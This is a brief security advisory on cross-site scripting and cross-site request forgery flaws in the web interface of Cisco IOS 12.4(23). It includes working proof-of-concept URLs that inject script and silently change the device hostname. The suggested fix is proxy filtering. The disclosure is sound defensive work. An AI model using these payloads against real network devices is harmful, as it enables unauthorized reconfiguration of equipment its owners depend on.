Zloss has reported some vulnerabilities in Cisco IOS, which can be exploited by malicious people to conduct cross-site scripting and cross-site request forgery attacks.
- Input passed via the URL when executing commands is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of an affected site.
- The device allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to potentially alter the configuration of the device by tricking the user into visiting a malicious web site.
The vulnerabilities are reported in Cisco IOS firmware version 12.4(23). Other versions may also be affected.
Test vulnerability:
[XSS] http://192.168.1.2/level/15/exec/-/"><body onload=alert("bug")> http://192.168.1.2/level/15/exec/-/"><iframe onload=alert("bug")> http://192.168.1.2/exec/"><body onload="alert('bug');"> [CSRF] http://192.168.1.2/level/15/exec/-/"><body onload=window.location='http://192.168.1.2/level/15/configure/ -/hostname/BUGGY/CR'> http://192.168.1.2/exec/"><iframe src="http://192.168.1.2/level/15/configure/-/hostname/BUGGY/CR">
Solution:
Filter malicious characters and character sequences in a proxy.
References: